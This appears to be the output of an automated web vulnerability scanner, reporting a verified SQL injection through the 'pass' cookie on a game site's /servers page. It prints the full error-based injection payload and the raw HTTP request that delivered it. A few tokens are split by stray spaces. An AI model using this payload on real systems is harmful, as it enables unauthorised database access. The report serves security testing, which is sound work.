SQL injection (verified)
This vulnerability affects
/servers
.
Discovered by: Scripting (Sql_Injection.script).
Attack details
Cookie input
pass
was set to
"and(select 1 from(select count(*),concat((select concat(CHAR(52),CHAR(67),CHAR(117),CHAR(50),CHAR(7 3),CHAR(55),CHAR(87),CHAR(111),CHAR(67),CHAR(71),C HAR(99)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)and"
Injected pattern found:
4Cu2I7WoCGc
------------
Request
GET /servers HTTP/1.1
Cookie: login=demodemo; pass=%22and%28select 1 from%28select count%28%2A%29%2Cconcat%28%28select concat%28CHAR%2852%29%2CCHAR%2867%29%2CCHAR%28117% 29%2CCHAR%2850%29%2CCHAR%2873%29%2CCHAR%2855%29%2C CHAR%2887%29%2CCHAR%28111%29%2CCHAR%2867%29%2CCHAR %2871%29%2CCHAR%2899%29%29 from information_schema.tables limit 0%2C1%29%2Cfloor%28rand%280%29%2A2%29%29x from information_schema.tables group by x%29a%29and%22
Host: game.сайт.ru
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Accept: */*
--------------